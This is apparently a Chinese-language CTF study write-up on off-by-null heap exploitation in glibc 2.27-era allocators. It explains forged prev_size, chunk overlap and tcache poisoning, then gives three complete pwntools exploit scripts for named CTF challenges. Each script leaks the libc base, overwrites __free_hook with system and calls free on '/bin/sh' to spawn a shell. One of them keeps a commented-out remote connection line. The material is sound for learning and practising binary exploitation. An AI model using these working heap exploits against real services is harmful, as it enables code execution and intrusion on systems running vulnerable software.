低版本off-by-null
off-by-null 利用思路
- 溢出字节为可控制任意字节:通过修改大小造成块结构之间出现重叠,从而泄露其他块数据,或是覆盖其他块数据。也可使用 NULL 字节溢出的方法
- 溢出字节为 NULL字节:在 size 为 0x100 的时候,溢出 NULL 字节可以使得 prev_in_use 位被清(1) 这时可以选择使用 unlink 方法进行处理,在unlink之前应当先free前面的堆块。(2) 另外,这时 prev_size 域就会启用,就可以伪造 prev_size ,从而造成块之间发生重叠。此方法的关键在于 unlink 的时候没有检查按照 prev_size 找到的块的大小与prev_size 是否一致,而是通过next_chunk这个宏定义来进行检查因此可以利用。
- 因为事先free了两个堆块,这里假设为chunk0,chunk1 因此next_chunk(chunk0)显然等于chunk1
#define next_chunk(p) ((mchunkptr) (((char *) (p)) + chunksize (p)))
#define unlink(AV, P, BK, FD) { \
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \
malloc_printerr ("corrupted size vs. prev_size"); \
FD = P->fd; \
BK = P->bk; \
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr ("corrupted double-linked list");
...
}
/*
下面的条件在unlink之前free的时候就已经满足
FD = P->fd;
BK = P->bk;
*/
最新版本代码中,已加入针对 2 中后一种方法的 check ,但是在 2.28 及之前版本并没有该 check
/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = prev_size (p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
/* 后两行代码在最新版本中加入,则 2 的第二种方法无法使用,但是 2.28 及之前都没有问题 */
if (__glibc_unlikely (chunksize(p) != prevsize))
malloc_printerr ("corrupted size vs. prev_size while consolidating");
//因为前面的检查导致unlink无法进行
unlink_chunk (av, p);
}
off-by-null主要打法
- 就是先伪造prev_size再利用chunk overlaping将合并后的chunk合并到unsorted bin中 malloc(0x68) 最终chunk的大小为0x70,将next chunk的prev_size域进行使用,注意申请的chunk大小刚好为0x100的整数倍
- 目前使用过的打法:
- 让chunklist中存在不同位置存同一个chunk的地址,比如1,3位置指向的是同一个chunk,那么add(1)的时候相当于edit(3)
- 先让一些chunk进入tcache,unsorted bin的fd一直指向libc附近,切割unsorted bin时read时相当于edit在tcache中的chunk,实现tcache poison
让chunklist中存在不同位置存同一个chunk的地址
add(0, 0xF8, b'a')
add(1, 0x68, b'a')
add(2, 0xF8, b'a')
for i in range(3, 10):#3-9
add(i, 0xF8, b'a')
add(12, 0x68, b'a')
for i in range(3, 10):#3-9
delete(i)
delete(0)
delete(1)
'''
保证0要是free chunk,这样1的prev_size会存0的chunk size,同时unlink第二个检查也会过
'''
#2的prev_size为0x170,同时PREV_INUSE=0
add(1,0x68, b'a' * 0x60 + p64(0x170))
#delete(2)会unlink前面overlapping chunk一起到unsorted bin,unsorted bin中chunk大小为0x270
delete(2)
add(0, 0x70, b'a')
add(2, 0x70, b'a')
#前两个chunk大小总和为0x100,unsortedbin的fd刚好是原本的1
show(1)
#此时chunklist中3和1的是相同的
add(3, 0x68, b'a')
例题 hgame week3 你满了,那我就漫出来了!
主要漏洞在这里
from pwn import *
from pwnlib.util.packing import p64
from pwnlib.util.packing import u64
context(os='linux', arch='amd64', log_level='debug')
file = "/home/zp9080/PWN/vuln1"
libc=ELF("/home/zp9080/PWN/libc-2.27.so")
elf=ELF(file)
p=process(file)
# p=gdb.debug(file,'b *$rebase(0xD80)')
def dbg():
gdb.attach(p,'b *$rebase(0xD80)')
def add(index, size, content):
p.sendlineafter(b"Your choice:", b'1')
p.sendlineafter(b"Index: ", str(index).encode())
p.sendlineafter(b"Size: ", str(size).encode())
p.sendafter(b"Content: ", content)
def show(index):
p.sendlineafter(b"Your choice:", b'2')
p.sendlineafter(b"Index: ", str(index).encode())
def delete(index):
p.sendlineafter(b"Your choice:", b'3')
p.sendlineafter(b"Index: ", str(index).encode())
add(0, 0xF8, b'a')
add(1, 0x68, b'a')
add(2, 0xF8, b'a')
for i in range(3, 10):#3-9
add(i, 0xF8, b'a')
add(12, 0x68, b'a')
for i in range(3, 10):#3-9
delete(i)
delete(0)
delete(1)
#2的prev_size为0x170,同时PREV_INUSE=0
add(1,0x68, b'a' * 0x60 + p64(0x170))
#delete(2)会unlink前面overlapping chunk一起到unsorted bin,unsorted bin中chunk大小为0x270
delete(2)
add(0, 0x70, b'a')
add(2, 0x70, b'a')
#前两个chunk大小总和为0x100,unsortedbin的fd刚好是原本的1
show(1)
libc_base = u64(p.recv(6).ljust(8, b'\x00')) - 0x3ebca0
log.success("libc_base={}".format(hex(libc_base)))
__free_hook = libc_base + libc.sym["__free_hook"]
system = libc_base + libc.sym["system"]
#此时3和1的nodes是相同的
add(3, 0x68, b'a')
#填满0x70 tcache
for i in range(4,11):
add(i,0x68,b'a')
for i in range(4,11):
delete(i)
'''
注意这个不像house of botcake一样的double free,这个要先利用fastbin的double free,
然后add此时fastbin的chunk会转移到tcache,实现了tcache double free,否则因为有一个chunk已经在tcache中再free会被检测(因为key的原因)
'''
#进入了fastbin,1和3指向同一个chunk,fastbin:1->12->3
delete(3)
delete(12)
delete(1)
for i in range(4,11):
add(i,0x68,b'a')
#add(1,0x68,p64(__free_hook))后,fastbin里面的chunk转移到tcache 12->3->free_hook
add(1,0x68,p64(__free_hook))
add(3, 0x68, b'/bin/sh\x00')
add(13, 0x68, b'a')
add(12, 0x68, p64(system))
delete(3)
p.interactive()
通过off-by-null制造unsorted bin chunk,切割unsorted bin chunk往tcache chunk写入libc附近的地址,打_IO_2_1_stdout来泄露
例题 DASCTF 2023六月挑战赛|二进制专项 can_you_find_me 覆盖stdout的低字节来泄露libcbase,通过off-by-null在unsorted bin中实现edit功能,来打tcache poison
from pwn import *
from pwnlib.util.packing import u64
from pwnlib.util.packing import p64
context(os='linux', arch='amd64', log_level='debug')
ELFpath='/home/zp9080/PWN/pwn'
libcpath='/home/zp9080/PWN/libc-2.27.so'
e=ELF(ELFpath)
libc=ELF(libcpath)
global p
rut=lambda s :p.recvuntil(s,timeout=0.1)
ru=lambda s :p.recvuntil(s)
r=lambda n :p.recv(n)
sl=lambda s :p.sendline(s)
sls=lambda s :p.sendline(str(s))
ss=lambda s :p.send(str(s))
s=lambda s :p.send(s)
uu64=lambda data :u64(data.ljust(8,b'\x00'))
it=lambda :p.interactive()
b=lambda :gdb.attach(p)
bp=lambda bkp:gdb.attach(p,'b *'+str(bkp))
LOGTOOL={}
def LOGALL():
log.success("**** all result ****")
for i in LOGTOOL.items():
log.success("%-20s%s"%(i[0]+":",hex(i[1])))
def cmd(idx):
ru('choice:')
sl(str(idx))
def add(size,data):
cmd(1)
ru('Size:')
sl(str(size))
ru('Data:')
s(data)
def dele(idx):
cmd(2)
ru('Index:')
sl(str(idx))
def dbg():
gdb.attach(p,'b *$rebase(0xD7A)')
pause()
def pwn():
add(0x20,'aaa\n') #0
add(0x618,'\n') #1
add(0x4f0,'xxx\n') #2
add(0x20,'aaa\n') #3
dele(1)
add(0x440,'\n') #1
add(0x60,'\n') #4
add(0x158,b'a'*0x150+p64(0x620)) #5
dele(1)
dele(2)
dele(4)
dele(5)
#切割unsorted bin
add(0x440,'\n') #1
add(0x20,'\x60\x07'+'\n') #2,修改0x70 chunk大小的tcache的fd,实现tcache poison
add(0x60,'\n') #4
add(0x60,p64(0xfbad1887)+p64(0)*3+b'\x00'+b'\n') #5
libcbase=u64(rut('\x7f')[-6:].ljust(8,b'\x00'))-0x3ed8b0
LOGTOOL['libcbase']=libcbase
free_hook=libcbase+libc.sym['__free_hook']
system_addr=libcbase+libc.sym['system']
one_gadget=libcbase+0x10a2fc
add(0x50,b'a'*0x40+p64(free_hook)+b'\n') #6
add(0x158,b'/bin/sh\x00'+b'\n') #7
add(0x158,p64(system_addr)+b'\n') #8
dele(7)
it()
p=process(ELFpath)
pwn()
不限制chunk的size,就不用填满tcache而是直接用unsorted bin
ciscn2024华北 onebook
- exp
from pwn import *
from pwnlib.util.packing import u64
from pwnlib.util.packing import u32
from pwnlib.util.packing import u16
from pwnlib.util.packing import u8
from pwnlib.util.packing import p64
from pwnlib.util.packing import p32
from pwnlib.util.packing import p16
from pwnlib.util.packing import p8
context(os='linux', arch='amd64', log_level='debug')
p = process("/home/zp9080/PWN/pwn")
# p=gdb.debug("/home/zp9080/PWN/pwn",'b *0x4013D2')
# p=remote('8.147.132.114',13576)
elf = ELF("/home/zp9080/PWN/pwn")
libc=elf.libc
def dbg():
gdb.attach(p,'b *$rebase(0x183E)')
pause()
def add(index, size, content):
p.sendlineafter(b">", b'1')
p.sendlineafter(b"Index:", str(index).encode())
p.sendlineafter(b"Size:", str(size).encode())
p.sendafter(b"Content:", content)
def show(index):
p.sendlineafter(b">", b'2')
p.sendlineafter(b"Index:", str(index).encode())
def edit(index, content):
p.sendlineafter(b">", b'3')
p.sendlineafter(b"Index:", str(index).encode())
p.sendafter(b"Content:", content)
def delete(index):
p.sendlineafter(b">", b'4')
p.sendlineafter(b"Index:", str(index).encode())
add(0, 0x4f8, b'a')
add(1, 0xf8, b'a')
add(2, 0x4f8, b'a')
add(3,0x20,b'a')
delete(0)
delete(1)
#2的prev_size为0x170,同时PREV_INUSE=0
add(1,0xf8, b'a' * 0xf0 + p64(0x600))
#delete(2)会unlink前面overlapping chunk一起到unsorted bin
delete(2)
add(0, 0x4f8, b'a')
show(1)
libcbase=u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))-0x3ebca0
print(hex(libcbase))
delete(0)
free_hook=libcbase+libc.sym['__free_hook']
payload=b'a'*0x4f8+p64(0x101)+p64(free_hook)
add(0,0x6f8,payload)
delete(1)
edit(0,payload)
system=libcbase+libc.sym['system']
add(8,0xf8,b'/bin/sh\x00')
add(7,0xf8,p64(system))
delete(8)
p.interactive()